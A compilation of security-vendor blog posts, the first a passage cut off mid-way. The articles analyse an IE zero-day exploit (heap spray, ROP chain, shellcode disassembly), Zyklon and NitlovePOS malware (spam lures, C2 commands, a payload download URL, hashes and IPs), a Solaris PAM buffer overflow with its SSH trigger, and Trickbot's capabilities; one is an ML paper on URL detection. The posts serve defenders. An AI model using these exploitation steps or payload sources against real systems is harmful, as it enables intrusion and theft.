This approach to application identity-based enforcement will push organizations away from the five-tuple approach to network security which is increasingly irrelevant in the context of ephemeral container deployments.
When CASB and CWPP solutions integrate with CI/CD tools, security teams can meet the speed of DevOps, shifting security “left” and creating a DevSecOps practice within their organization.
Governance, compliance, and overall security of cloud environments will improve as organizations accelerate their transition to DevSecOps with these cloud-native security tools.
1 Gartner Best Practices for Running Containers and Kubernetes in Production, Arun Chandrasekaran, 25 February 2019
Summary FireEye Research Labs, the intelligence behind our Mandiant Consultancy services, identified a new Internet Explorer (IE) zero-day exploit used in targeted attacks.
The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11.
This zero-day bypasses both ASLR and DEP.
Microsoft has assigned CVE-2014-1776 to the vulnerability and released security advisory to track this issue.
Threat actors are actively using this exploit in an ongoing campaign which we have named \"Operation Clandestine Fox.\"
However, for many reasons, we will not provide campaign details.
But we believe this is a significant zero day as the vulnerable versions represent about a quarter of the total browser market.
We recommend applying a patch once available.
According to NetMarket Share , the market share for the targeted versions of IE in 2013 were: IE 9      13.9% IE 10    11.04% IE 11     1.32% Collectively, in 2013, the vulnerable versions of IE accounted for 26.25% of the browser market.
The vulnerability, however, does appear in IE6 through IE11 though the exploit targets IE9 and higher.
The Details The exploit leverages a previously unknown use-after-free vulnerability, and uses a well-known Flash exploitation technique to achieve arbitrary memory access and bypass Windows’ ASLR and DEP protections.
Exploitation •
Preparing the heap The exploit page loads a Flash SWF file to manipulate the heap layout with the common technique heap feng shui .
It allocates Flash vector objects to spray memory and cover address 0x18184000 .
Next, it allocates a vector object that contains a flash.
Media.
Sound() object, which it later corrupts to pivot control to its ROP chain.
•
Arbitrary memory access The SWF file calls back to Javascript in IE to trigger the IE bug and overwrite the length field of a Flash vector object in the heapspray.
The SWF file loops through the heapspray to find the corrupted vector object, and uses it to again modify the length of another vector object.
This other corrupted vector object is then used for subsequent memory accesses, which it then uses to bypass ASLR and DEP.
•
Runtime ROP generation With full memory control, the exploit will search for ZwProtectVirtualMemory , and a stack pivot (opcode 0x94 0xc3) from NTDLL.
It also searches for SetThreadContext in kernel32, which is used to clear the debug registers.
This technique, may be an attempt to bypass protections that use hardware breakpoints, such as EMET’s EAF mitigation.
With the addresses of the aforementioned APIs and gadget, the SWF file constructs a ROP chain, and prepends it to its RC4 decrypted shellcode.
It then replaces the vftable of a sound object with a fake one that points to the newly created ROP payload.
When the sound object attempts to call into its vftable, it instead pivots control to the attacker’s ROP chain.
•
ROP and Shellcode The ROP payload basically tries to make memory at 0x18184000 executable, and to return to 0x1818411c to execute the shellcode.
0:008>
dds eax 18184100  770b5f58 ntdll!ZwProtectVirtualMemory 18184104  1818411c 18184108  ffffffff 1818410c  181840e8 18184110  181840ec 18184114  00000040 18184118  181840e4 Inside the shellcode, it saves the current stack pointer to 0x18181800 to safely return to the caller.
mov     dword ptr ds:[18181800h],ebp
Then, it restores the flash.
Media.
Sound vftable and repairs the corrupted vector object to avoid application crashes.
18184123 b820609f06      mov     eax,69F6020h 18184128 90              nop 18184129 90              nop 1818412a c700c0f22169    mov     dword ptr [eax],offset Flash32_11_7_700_261!AdobeCPGetAPI+0x42ac00 (6921f2c0) 18184133
b800401818      mov     eax,18184000h 18184138 90              nop 18184139 90              nop 1818413a c700fe030000    mov     dword ptr [eax],3FEh ds:0023:18184000=3ffffff0
The shellcode also recovers the ESP register to make sure the stack range is in the current thread stack base/limit.
18184140 8be5            mov     esp,ebp 18184142 83ec2c          sub     esp,2Ch 18184145 90              nop 18184146 eb2c            jmp     18184174
The shellcode calls SetThreadContext to clear the debug registers.
It is possible that this is an attempt to bypass mitigations that use the debug registers.
18184174 57              push    edi 18184175 81ece0050000    sub     esp,5E0h 1818417b c7042410000100  mov     dword ptr [esp],10010h 18184182 8d7c2404        lea     edi,[esp+4] 18184186 b9dc050000      mov     ecx,5DCh 1818418b 33c0            xor     eax,eax 1818418d f3aa            rep stos byte ptr es:[edi] 1818418f 54              push    esp 18184190
6afe            push    0FFFFFFFEh 18184192
b8b308b476      mov     eax,offset kernel32!SetThreadContext (76b408b3) 18184197 ffd0            call    eax The shellcode calls URLDownloadToCacheFileA to download the next stage of the payload, disguised as an image.
Mitigation Using EMET may break the exploit in your environment and prevent it from successfully controlling your computer.
EMET versions 4.1 and 5.0 break (and/or detect) the exploit in our tests.
Enhanced Protected Mode in IE breaks the exploit in our tests.
EPM was introduced in IE10.
Additionally, the attack will not work without Adobe Flash.
Disabling the Flash plugin within IE will prevent the exploit from functioning.
Threat Group History
The APT group responsible for this exploit has been the first group to have access to a select number of browser-based 0-day exploits (e.g.
IE, Firefox, and Flash) in the past.
They are extremely proficient at lateral movement and are difficult to track, as they typically do not reuse command and control infrastructure.
They have a number of backdoors including one known as Pirpi that we previously discussed here .
CVE-2010-3962, then a 0-day exploit in Internet Explorer 6, 7, and 8 dropped the Pirpi payload discussed in this previous case.
As this is still an active investigation we are not releasing further indicators about the exploit at this time.
Acknowledgement:
We thank Christopher Glyer, Matt Fowler, Josh Homan, Ned Moran, Nart Villeneuve and Yichong Lin for their support, research, and analysis on these findings.
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Highlights Perform a case study on using Transformer models to solve cyber security problems Train a Transformer model to detect malicious URLs under multiple training regimes Compare our model against other deep learning methods, and show it performs on-par with other top-scoring models Identify issues with applying generative pre-training to malicious URL detection, which is a cornerstone of Transformer training in natural language processing (NLP) tasks Introduce novel loss function that balances classification and generative loss to achieve improved performance on the malicious URL detection task Introduction Over the past three years Transformer machine learning (ML) models, or “Transformers” for short, have yielded impressive breakthroughs in a variety of sequence modeling problems, specifically natural language processing (NLP).
For example, OpenAI’s latest GPT-3 model is capable of generating long segments of grammatically-correct prose from scratch.
Spinoff models, such as those developed for question and answering, are capable of correlating context over multiple sentences.
AI Dungeon , a single and multiplayer text adventure game, uses Transformers to generate plausible unlimited content in a variety of fantasy settings.
Transformers’ NLP modeling capabilities are apparently so powerful that they pose security risks in their own right, in terms of their potential power to spread disinformation , yet on the other side of the coin, they can be used as powerful tools to detect and mitigate disinformation campaigns.
For example, in previous research by the FireEye Data Science team, a NLP Transformer was fine-tuned to detect disinformation on social media sites.
Given the power of these Transformer models, it seems natural to wonder if we can apply them to other types of cyber security problems that do not necessarily involve natural language, per se.
In this blog post, we discuss a case study in which we apply Transformers to malicious URL detection.
Studying Transformer performance on URL detection problem is a first logical step to extending Transformers to more generic cyber security tasks, since URLs are not technically natural language sequences but share some common characteristics with NLP.
In the following sections, we outline a typical Transformer architecture and discuss how we adapt it to URLs with a character-focused tokenization.
We then discuss loss functions we employ to guide the training of the model, and finally compare our training approaches to more conventional ML-based modeling options.
Adapting Transformers to URLs Our URL Transformer operates at the character level, where each character in the URL corresponds to an input token.
When a URL is input to our Transformer, it is appended with special tokens—a classification token (“CLS”) that conditions the model to produce a prediction and padding tokens (“PAD”) that normalize the input to a fixed length to allow for parallel training.
Each token in the input string is then projected into a character embedding space, followed by a stack of Attention and Feed-Forward Neural Network (FFNN) layers.
This stack of layers is similar to the architecture introduced in the original Transformers paper .
At a high level, the Attention layers allow each input to be associated with long-distance context of other characters that are important for the classification task, similar to the notion of attention in humans, while the FFNN layers provide capacity for learning the relationships among the combination of inputs and their respective contexts.
An illustration of our architecture is shown in Figure 1.
Additionally, the URL Transformer employs a masking strategy in its Attention calculation, which enforces a left-to-right (L-R) dependence.
This means that only input characters from the left of a given character influence that character’s representation in each layer of the attention stack.
The network outputs one embedding for each input character, which captures all information learned by the model about the character sequence up to that point in the input.
Once the model is trained, we can use the URL Transformer to perform several different tasks, such as generatively predicting the next character in the input sequence by using the sequence embedding () as an input to another neural network with as softmax output over the possible vocabulary of characters.
A specific example of this is shown in Figure 1, where we take the embedding of the input “firee”() and use it to predict the next most likely character, “y.”
Similarly, we can use the embedding produced after the classification token to predict other properties of the input sequences, such as their likelihood of maliciousness.
Figure 1: High-level overview of the URL Transformer architecture Loss Functions and Training Regimes With the model architecture in hand, we now turn to the question of how we train the model to most effectively detect malicious URLs.
Of course, we can train this model in a similar way to other supervised deep learning classifiers by: (1) making predictions on samples from a labeled training set, (2) using a loss function to measure the quality of our predictions, and (3) tune model parameters (i.e., weights) via backpropagation .
However, the nature of the Transformer model allows for several interesting variations to this training regime .
In fact, one of the reasons that Transformers have become so popular for NLP tasks is because they allow for self-supervised generative pre-training, which takes advantage of massive amounts of unlabeled data to help the model learn general characteristics of the input language before being fine-tuned on the ultimate task at-hand (e.g., question answering, sentiment analysis, etc.
).
Here, we outline some of the training regimes we explored for our URL Transformer model.
Direct Label Prediction (Decode-To-Label)
Using a training set of URLs with malicious and benign labels, we can treat the URL Transformer architecture as a feature extractor, whose outputs we use as the input to a traditional classifier (e.g., FFNN or even a random forest).
When using a FFNN as our classifier, we can backpropagate the classification loss (e.g., binary cross-entropy) through both the classifier and the Transformer network to adjust the weights to perform classification.
This training regime is the baseline for our experiments and is how most deep learning models are trained for classification tasks.
Next-Character Prediction Pre-Training and Fine-Tuning Beyond the baseline classification training regime, the NLP literature suggests that one can learn a self-supervised embedding of the input sequence by training the Transformer to perform a next-character prediction task, then fine-tuning the learned representation for the classification problem.
A key advantage of this approach is that data used for pre-training does not require malicious or benign labels; instead, the next characters in a URL serve as the labels to be predicted from prior characters in the sequence.
This is similar to the example given in Figure 1, where the embedding output is used to predict the next character, “y,” in “fireeye.com.”
Overall, this training regime allows us to take advantage of the massive amount of unlabeled data that is typically available in cyber security-related problems.
The overall structure of the architecture for this regime is similar to the aforementioned binary classification task, with FFNN layers added for classification.
However, since we are now predicting multiple classes (i.e., one class per input character in the vocabulary), we must apply a softmax function to the output to induce a probability distribution over the potential output characters.
Once the Transformer portion of the network is pre-trained in this way, we can swap the FFNN classification layers focused on character prediction with new layers that will be trained for the malicious URL classification problem, as in the decode-to-label case.
Balanced Mixed-Objective Training Prior work has shown that imbuing the training process with additional knowledge outside of the primary task can help constrain the learning process, and ultimately result in better models.
For instance, a malware classifier might train using loss functions that capture malicious/benign classification, malware family prediction, and tag prediction tasks as a mechanism to provide the classifier with broader understanding of the problem than looking at malicious/benign labels in isolation.
Inspired by these findings, we also introduced a mixed-objective training regime for our URL Transformer, where we train for binary classification and next-character prediction simultaneously.
At each iteration of training, we compute a loss multiplier such that each loss contribution is fixed prior to backpropagation.
This ensures that neither loss term dominates during training.
Specifically, for minibatch i , let the net loss L Mixed be computed as follows:
Given hyperparameters a and b , defined such that a + b : = 1, we compute constant a so that the net loss contribution of L CLS to L Mixed is a and the net contribution of L Next to L Mixed is b .
For our evaluations, we set a := b := 0.5, effectively requiring that the model equally balance its ability to generate the next character and accurately predict malicious URLs.
Evaluation To evaluate our URL Transformer model and better understand the impact of the three training regimes discussed earlier, we collected a training dataset of over 1M labeled malicious and benign URLs, which was split into roughly 700K training samples, 100K validation samples, and 200k test samples.
Additionally, we also developed an unlabeled pre-training dataset of 20M URLs.
Using this data, we performed four different training runs for our Transformer model: DecodeToLabel (Baseline): Using strictly the binary cross-entropy loss on the embedded classification features over the entire sequence, we trained the model for 15 epochs using the training set.
MixedObjective:
We trained the model for 15 epochs on the training set, using both the embedded classification features and the embedded next-character prediction features.
FineTune:
We pre-trained the model for 15 epochs on the next-character prediction task using the training set, ignoring the malicious/benign labels.
We then froze weights over the first 16 layers of the model and trained the model for an additional 15 epochs using a binary cross-entropy loss on the classification labels.
FineTune 20M:
We performed pre-training on the next-character prediction task using the 20M URL dataset, pre-training for 2 epochs.
We then froze weights over the first 16 layers of the Transformer and trained for 15 epochs on the binary classification task.
The ROC curve shown in Figure 2 compares the performance of these four training regimes.
Here, our baseline DecodeToLabel model (red) yielded a ROC curve with 0.9484 AUC, while the MixedObjective model (green) slightly outperformed the baseline with an AUC of 0.956.
Interestingly, both of the fine-tuning models yielded poor classification results, which is counter to the established practice of these Transformer models in the NLP domain.
Figure 2: ROC curves for four URL Transformer training regimes To assess the relative efficacy of our Transformer models on this dataset, we also fit several other types of benchmark models developed for URL classification: (1) a Random Forest model on SME-derived features, (2) a 1D Convolutional Neural Network (CNN) model on character embeddings, and (3) a Long Short-Term Memory (LSTM) neural network on character embeddings.
Details of these models can be found in our white paper , however we find that our top performing Transformer model performs on-par with the best performing non-Transformer baseline (a 1D CNN model), which perhaps indicates that the long-range dependencies typically learned by Transformer models are not as useful in the case of malicious URL detection.
Figure 3:
ROC curves comparing URL Transformer to other benchmark URL classification models
Summary Our experiments suggest that Transformers can achieve performance comparable to or better than that of other top-performing models for URL classification, though the details of how to achieve that performance differ from common practice.
Contrary to findings from the NLP domain , wherein self-supervised pre-training substantially enhances performance in a fine-tuned classification task, similar pretraining approaches actually diminish performance for malicious URL detection.
This suggests that the next character prediction task has too little apparent correlation with the task of malicious/benign prediction for effective/stable transfer.
Interestingly, utilizing next-character prediction as an auxiliary loss function in conjunction with a malicious/benign loss yields improvements over training solely to predict the label.
We hypothesize that while pre-training leads to a relatively poor generative model due to randomized content in the URLs within our dataset, a malicious/benign loss may serve to better condition the generative model learned by the next-character prediction task, distilling a subset of relevant information.
It may also be the case that the long-distance relationships that are key to the generative pre-training task are not as important for the final malicious URL classification, as evidenced by the performance of the 1D CNN model.
Note that we did not perform a rigorous hyperparameter search for our Transformer, since this research was primarily concerned with loss functions and training regimes.
Therefore, it is still an open question as to whether a more optimal architecture, specifically designed for this classification task, could substantially outperform the models described here.
While our URL dataset is not representative of all data in the cyber security space, the difficulty of obtaining a readily fine-tuned model from self-supervised pre-training suggests that this approach is unlikely to work well for training Transformers on longer sequences or sequences with lesser resemblance to natural language (e.g., PE files), but an auxiliary loss might work.
Details about this research and additional results can be found in our associated white paper .
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Introduction FireEye researchers recently observed threat actors leveraging relatively new vulnerabilities in Microsoft Office to spread Zyklon HTTP malware.
Zyklon has been observed in the wild since early 2016 and provides myriad sophisticated capabilities.
Zyklon is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal.
The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so.
The malware can download several plugins, some of which include features such as cryptocurrency mining and password recovery, from browsers and email software.
Zyklon also provides a very efficient mechanism to monitor the spread and impact.
Infection Vector We have observed this recent wave of Zyklon malware being delivered primarily through spam emails.
The email typically arrives with an attached ZIP file containing a malicious DOC file (Figure 1 shows a sample lure).
The following industries have been the primary targets in this campaign: Telecommunications Insurance Financial Services Figure 1: Sample lure documents Attack Flow Spam email arrives in the victim’s mailbox as a ZIP attachment, which contains a malicious DOC file.
The document files exploit at least three known vulnerabilities in Microsoft Office, which we discuss in the Infection Techniques section.
Upon execution in a vulnerable environment, the PowerShell based payload takes over.
The PowerShell script is responsible for downloading the final payload from C2 server to execute it.
A visual representation of the attack flow and execution chain can be seen in Figure 2.
Figure 2: Zyklon attack flow Infection Techniques CVE-2017-8759
This vulnerability was discovered by FireEye in September 2017, and it is a vulnerability we have observed being exploited in the wild.
The DOC file contains an embedded OLE Object that, upon execution, triggers the download of an additional DOC file from the stored URL (seen in Figure 3).
Figure 3: Embedded URL in OLE object CVE-2017-11882
Similarly, we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office.
Upon opening the malicious DOC attachment, an additional download is triggered from a stored URL within an embedded OLE Object (seen in Figure 4).
Figure 4: Embedded URL in OLE object Figure 5: HTTP GET request to download the next level payload The downloaded file, doc.doc, is XML-based and contains a PowerShell command (shown in Figure 6) that subsequently downloads the binary Pause.ps1 .
Figure 6: PowerShell command to download the Pause.ps1 payload Dynamic Data Exchange (DDE) Dynamic Data Exchange (DDE) is the interprocess communication mechanism that is exploited to perform remote code execution.
With the help of a PowerShell script (shown in Figure 7), the next payload ( Pause.ps1) is downloaded.
Figure 7: DDE technique used to download the Pause.ps1 payload One of the unique approaches we have observed is the use of dot-less IP addresses (example: hxxp://258476380).
Figure 8 shows the network communication of the Pause.ps1 download.
Figure 8:
Network communication to download the Pause.ps1 payload Zyklon Delivery In all these techniques, the same domain is used to download the next level payload ( Pause.ps1 ), which is another PowerShell script that is Base64 encoded (as seen in Figure 8).
The Pause.ps1 script is responsible for resolving the APIs required for code injection.
It also contains the injectable shellcode.
The APIs contain VirtualAlloc(), memset(), and CreateThread().
Figure 9 shows the decoded Base64 code.
Figure 9: Base64 decoded Pause.ps1
The injected code is responsible for downloading the final payload from the server (see Figure 10).
The final stage payload is a PE executable compiled with .Net framework.
Figure 10:
Network traffic to download final payload (words.exe) Once executed, the file performs the following activities: Drops a copy of itself in %AppData%\\svchost.exe\\svchost.exe and drops an XML file, which contains configuration information for Task Scheduler (as shown in Figure 11).
Unpacks the code in memory via process hollowing.
The MSIL file contains the packed core payload in its .Net resource section.
The unpacked code is Zyklon.
Figure 11: XML configuration file to schedule the task The Zyklon malware first retrieves the external IP address of the infected machine using the following:
api.ipify[.
]org ip.anysrc[.
]net myexternalip[.
]com whatsmyip[.
]com
The Zyklon executable contains another encrypted file in its .Net resource section named tor .
This file is decrypted and injected into an instance of InstallUtiil.exe , and functions as a Tor anonymizer.
Command & Control Communication
The C2 communication of Zyklon is proxied through the Tor network.
The malware sends a POST request to the C2 server.
The C2 server is appended by the gate.php, which is stored in file memory.
The parameter passed to this request is getkey=y.
In response to this request, the C2 server responds with a Base64-encoded RSA public key (seen in Figure 12).
Figure 12: Zyklon public RSA key After the connection is established with the C2 server, the malware can communicate with its control server using the commands shown in Table 1.
Command Action sign Requests system information settings Requests settings from C2 server logs Uploads harvested passwords wallet Uploads harvested cryptocurrency wallet data proxy Indicates SOCKS proxy port opened miner Cryptocurrency miner commands error
Reports errors to C2 server ddos DDoS attack commands Table 1: Zyklon accepted commands The following figures show the initial request and subsequent server response for the “settings” (Figure 13), “sign” (Figure 14), and “ddos” (Figure 15) commands.
Figure 13:
Zyklon issuing “settings” command and subsequent server response Figure 14:
Zyklon issuing “sign” command and subsequent server response Figure 15: Zyklon issuing “ddos” command and subsequent server response Plugin Manager Zyklon downloads number of plugins from its C2 server.
The plugin URL is stored in file in following format: /plugin/index.php?plugin=< Plugin_Name >
The following plugins are found in the memory of the Zyklon malware: /plugin/index.php?plugin=cuda /plugin/index.php?plugin=minerd /plugin/index.php?plugin=sgminer /plugin/index.php?plugin=socks /plugin/index.php?plugin=
tor /plugin/index.php?plugin=games /plugin/index.php?plugin=software /plugin/index.php?plugin=
ftp /plugin/index.php?plugin=email /plugin/index.php?plugin=browser
The downloaded plugins are injected into: Windows\\Microsoft.
NET\\Framework\\v4.0.30319\\RegAsm.exe.
Additional Features The Zyklon malware offers the following additional capabilities (via plugins):
Browser Password Recovery Zyklon HTTP can recover passwords from popular web browsers, including: Google Chrome Mozilla Firefox Internet Explorer Opera Browser Chrome Canary/SXS CoolNovo Browser Apple Safari Flock Browser SeaMonkey Browser SRWare
Iron Browser Comodo Dragon Browser FTP Password Recovery Zyklon currently supports FTP password recovery from the following FTP applications: FileZilla SmartFTP FlashFXP FTPCommander Dreamweaver WS_FTP Gaming Software Key Recovery Zyklon can recover PC Gaming software keys from the following games: Battlefield Call of Duty FIFA NFS Age of Empires Quake The Sims Half-Life IGI Star Wars Email Password Recovery Zyklon may also collect email passwords from following applications: Microsoft Outlook Express Microsoft Outlook 2002/XP/2003/2007/2010/2013 Mozilla Thunderbird Windows Live Mail 2012 IncrediMail,
Foxmail v6.x - v7.x Windows Live Messenger MSN Messenger
Google Talk GMail Notifier PaltalkScene IM Pidgin (Formerly Gaim)
Messenger Miranda Messenger Windows Credential Manager License Key Recovery
The malware automatically detects and decrypts the license/serial keys of more than 200 popular pieces of software, including Office, SQL Server, Adobe, and Nero.
Socks5 Proxy Zyklon features the ability to establish a reverse Socks5 proxy server on infected host machines.
Hijack Clipboard Bitcoin Address Zyklon has the ability to hijack the clipboard, and replaces the user’s copied bitcoin address with an address served up by the actor’s control server.
Zyklon Pricing Researchers identified different versions of Zyklon HTTP being advertised in a popular underground marketplace for the following prices: Normal build: $75 (USD) Tor-enabled build: $125 (USD) Rebuild/Updates: $15 (USD) Payment Method: Bitcoin (BTC)
Conclusion Threat actors incorporating recently discovered vulnerabilities in popular software – Microsoft Office, in this case – only increases the potential for successful infections.
These types of threats show why it is very important to ensure that all software is fully updated.
Additionally, all industries should be on alert, as it is highly likely that the threat actors will eventually move outside the scope of their current targeting.
At this time of writing, FireEye Multi Vector Execution (MVX) engine is able to recognize and block this threat.
Table 2 lists the current detection and blocking capabilities by product.
Detection Name Product Action POWERSHELL DOWNLOADER D (METHODOLOGY)
HX Detect SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
HX Detect POWERSHELL DOWNLOADER (METHODOLOGY)
HX Detect SUSPICIOUS EQNEDT USAGE (METHODOLOGY)
HX Detect TOR (TUNNELER)
HX Detect SUSPICIOUS SVCHOST.EXE (METHODOLOGY)
HX Detect Malware.
Binary.rtf EX/ETP/NX Block Malware.
Binary EX/ETP/NX Block FE_Exploit_RTF_CVE_2017_8759
EX/ETP/NX Block FE_Exploit_RTF_CVE201711882_1 EX/ETP/NX Block Table 2: Current detection capabilities by FireEye products Indicators of Compromise The contained analysis is based on the representative sample lures shown in Table 3.
MD5 Name 76011037410d031aa41e5d381909f9ce accounts.doc 4bae7fb819761a7ac8326baf8d8eb6ab Courrier.doc eb5fa454ab42c8aec443ba8b8c97339b doc.doc 886a4da306e019aa0ad3a03524b02a1c Pause.ps1 04077ecbdc412d6d87fc21e4b3a4d088 words.exe
Table 3: Sample Zyklon lures Network Indicators 154.16.93.182 85.214.136.179 178.254.21.218 159.203.42.107 217.12.223.216 138.201.143.186 216.244.85.211 51.15.78.0 213.251.226.175 93.95.100.202
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FireEye Mandiant has been investigating compromised Oracle Solaris machines in customer environments.
During our investigations, we discovered an exploit tool on a customer’s system and analyzed it to see how it was attacking their Solaris environment.
The FLARE team’s Offensive Task Force analyzed the exploit to determine how it worked, reproduced the vulnerability on different versions of Solaris, and then reported it to Oracle.
In this blog post we present a description of the vulnerability, offer a quick way to test whether a system may be vulnerable, and suggest mitigations and workarounds.
Mandiant experts from the FLARE team will provide more information on this vulnerability and how it was used by UNC1945 during a Nov. 12 webinar.
Register today and start preparing questions, because we will be fielding them from the audience at the end of the session.
Vulnerability Discovery
The security vulnerability occurs in the Pluggable Authentication Modules (PAM) library.
PAM enables a Solaris application to authenticate users while allowing the system administrator to configure authentication parameters (e.g., password complexity and expiration) in one location that is consistently enforced by all applications.
The actual vulnerability is a classic stack-based buffer overflow located in the PAM parse_user_name function .
An abbreviated version of this function is shown in Figure 1.
static int parse_user_name(char *user_input, char **ret_username) { register char *ptr; register int index = 0; char username[PAM_MAX_RESP_SIZE]; /* ... */ ptr = user_input; /* ...
*/ /* * username will be the first string we get from user_input * - we skip leading whitespaces and ignore trailing whitespaces */ while (*ptr != '
\\0') { if ((*ptr == ' ')
||
(*ptr == '
\\t')) break; else { username[index] =
*ptr; index++; ptr++; } } /* ret_username will be freed in pam_get_user().
*/ if ((*ret_username = malloc(index + 1))
=
= NULL) return (PAM_BUF_ERR); (void) strcpy(*ret_username, username); return (PAM_SUCCESS); } Figure 1:
The parse_user_name function has a stack-based buffer overflow vulnerability The vulnerability arises whenever a username longer than PAM_MAX_RESP_SIZE (512 bytes) is passed to parse_user_name .
The vulnerability has likely existed for decades, and one possible reason is that it is only exploitable if an application does not already limit usernames to a smaller length before passing them to PAM.
One situation where network-facing software does not always limit the username length arises in the SSH server, and this is the exploit vector used by the tool that we discovered.
SSH Keyboard-Interactive authentication is a “passthrough” authentication mechanism where the SSH protocol relays prompts and responses between the server’s PAM libraries and the client.
It was designed to support custom forms of authentication such as two-factor without modifying the SSH protocol.
By manipulating SSH client settings to force Keyboard-Interactive authentication to prompt for the username rather than sending it through normal means, an attacker can also pass unlimited input to the PAM parse_user_name function.
Proof of Concept Exploit In order to quickly test different versions of Solaris to see if they may be vulnerable, we developed a proof of concept exploit to trigger the overflow and crash the SSH server.
The standard OpenSSH client offers all the options needed to trigger the vulnerability (Figure 2).
Figure 2:
A server can be quickly tested to see if it is vulnerable over SSH The indication that the server is vulnerable is that the SSH client prints “Authentication failed;” a non-vulnerable PAM library causes the SSH server to repeatedly prompt for a username if it receives one that is too long.
The overflow in the PAM library also causes the SSH server to crash, as shown in Figure 3.
The operating system writes a crash dump to /core if the SSH server crashes with no debugger attached.
In fact, if a /core file exists on a Solaris machine and the file command reports that it is from sshd , those are indicators consistent with this vulnerability having been exploited.
Figure 3:
The SSH server crashes in the parse_user_name function Vulnerable Operating Systems Solaris 9 (some releases)
Solaris 10 (all releases) Solaris 11.0
While the parse_user_name function remains vulnerable in unpatched Solaris 11.1 and later, unrelated changes to the PAM library truncate the username before the vulnerable function receives it, rendering the issue non-exploitable via SSH.
If the parse_user_name function were reachable in another context, then the vulnerability could become exploitable.
Illumos (OpenIndiana 2020.04) Mitigations and Workaround A patch from Oracle for Solaris 10 and 11 is described in the October 2020 Critical Patch Update .
Because Solaris 9 is no longer supported, Oracle has not released a patch.
For Solaris 9, as well as Solaris 10 or 11 systems where patching is inconvenient, we recommend editing the /etc
/ssh/sshd_config file to add the lines
ChallengeResponseAuthentication
no
and KbdInteractiveAuthentication no
and restart the SSH server.
While this removes the opportunity to exploit the vulnerability using SSH Keyboard-Interactive authentication, there may be other ways to attack the parse_user_name function and we recommend using this workaround only as a stopgap until Solaris 9 systems can be upgraded, or the October patch can be accessed and installed for supported Solaris versions.
Acknowledgements Jeffrey Martin of Rapid7 contributed to the testing of this vulnerability.
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Exactly five years ago, in October 2016, our solutions first encountered a Trojan named Trickbot (aka TrickLoader or Trickster).
Found mostly on home computers back then, its primary task was to steal login credentials for online banking services.
In recent years, however, its creators have actively transformed the banking Trojan into a multifunctional modular tool.
What’s more, Trickbot is now popular with cybercriminal groups as a delivery vehicle for injecting third-party malware into corporate infrastructure.
News outlets recently reported that Trickbot’s authors have hooked up with various new partners to use the malware to infect corporate infrastructure with all kinds of additional threats, such as the Conti ransomware.
Such repurposing could pose an additional danger to employees of corporate security operation centers and other cybersec experts.
Some security solutions still recognize Trickbot as a banking Trojan, as per its original specialty.
Therefore, infosec officers who detect it might view it as a random home-user threat that accidentally slipped into the corporate network.
In fact, its presence there could indicate something far more serious — a ransomware injection attempt or even part of a targeted cyberespionage operation.
Our experts were able to download modules of the Trojan from one of its C&C servers and analyze them thoroughly.
What Trickbot can do now The modern Trickbot’s main objective is to penetrate and spread on local networks.
Its operators can then use it for various tasks — from reselling access to the corporate infrastructure to third-party attackers, to stealing sensitive data.
Here’s what the malware can now do: Harvest usernames, password hashes and other information useful for lateral movement in the network from Active Directory and the registry; Intercept web traffic on the infected computer; Provide remote device control via the VNC protocol; Steal cookies from browsers; Extract login credentials from the registry, the databases of various applications and configuration files, as well as steal private keys, SSL certificates and data files for cryptocurrency wallets; Intercept autofill data from browsers and information that users input into forms on web-sites; Scan files on FTP and SFTP servers; Embed malicious scripts in web pages; Redirect browser traffic through a local proxy; Hijack APIs responsible for certificate chain verification so as to spoof the verification results; Collect Outlook profile credentials, intercept e-mails in Outlook and send spam through it; Search for the OWA service and brute-force it; Gain low-level access to hardware; Provide access to the computer at the hardware level; Scan domains for vulnerabilities; Find addresses of SQL servers and execute search queries on them; Spread through the EternalRomance and EternalBlue exploits; Create VPN connections.
A detailed description of the modules and indicators of compromise can be found in our Securelist post .
How to guard against the Trickbot Trojan
The statistics show that the majority of Trickbot detections this year were registered in the US, Australia, China, Mexico and France.
This does not mean, however, that other regions are safe, especially considering the readiness of its creators to collaborate with other cybercriminals.
To prevent your company from falling victim to this Trojan, we recommend that you equip all Internet-facing devices with a high-quality security solution .
In addition, it’s a good idea to use cyberthreat monitoring services to detect suspicious activity in the company’s infrastructure.
There has been a proliferation of malware specifically designed to extract payment card information from Point-of-Sale (POS) systems over the last two years.
In 2015, there have already been a variety of new POS malware identified including a new Alina variant , FighterPOS and Punkey .
During our research into a widespread spam campaign, we discovered yet another POS malware that we’ve named NitlovePOS.
The NitlovePOS malware can capture and ex-filtrate track one and track two payment card data by scanning the running processes of a compromised machine.
It then sends this data to a webserver using SSL.
We believe the cybercriminals assess the hosts compromised via indiscriminate spam campaigns and instruct specific victims to download the POS malware.
Propagation We have been monitoring an indiscriminate spam campaign that started on Wednesday, May 20, 2015.
The spam emails referred to possible employment opportunities and purported to have a resume attached.
The “From” email addresses were spoofed Yahoo!
Mail accounts and contained the following “Subject” lines:
Subject: Any Jobs?
Subject:
Any openings?
Subject:
Internship Subject:
Internship questions Subject: Internships?
Subject:
Job Posting Subject: Job questions Subject: My Resume Subject: Openings?
The email came with an attachment named CV_[4 numbers].doc or My_Resume_[4 numbers].doc , which is embedded with a malicious macro.
To trick the recipient into enabling the malicious macro, the document claims to be a “protected document.”
If enabled, the malicious macro will download and execute a malicious executable from 80.242.123.155/exe/dro.exe .
The cybercriminals behind this operation have been updating the payload.
So far, we have observed: e6531d4c246ecf82a2fd959003d76cca  dro.exe
600e5df303765ff73dccff1c3e37c03a  dro.exe
These payloads beacon to the same server from which they are downloaded and receive instructions to download additional malware hosted on this server.
This server contains a wide variety of malware: 6545d2528460884b24bf6d53b721bf9e
5dro.exe e339fce54e2ff6e9bd3a5c9fe6a214ea  AndroSpread.exe 9e208e9d516f27fd95e8d165bd7911e8  AndroSpread.exe abc69e0d444536e41016754cfee3ff90
dr2o.exe e6531d4c246ecf82a2fd959003d76cca  dro.exe
600e5df303765ff73dccff1c3e37c03a  dro.exe
c8b0769eb21bb103b8fbda8ddaea2806  jews2.exe
4d877072fd81b5b18c2c585f5a58a56e
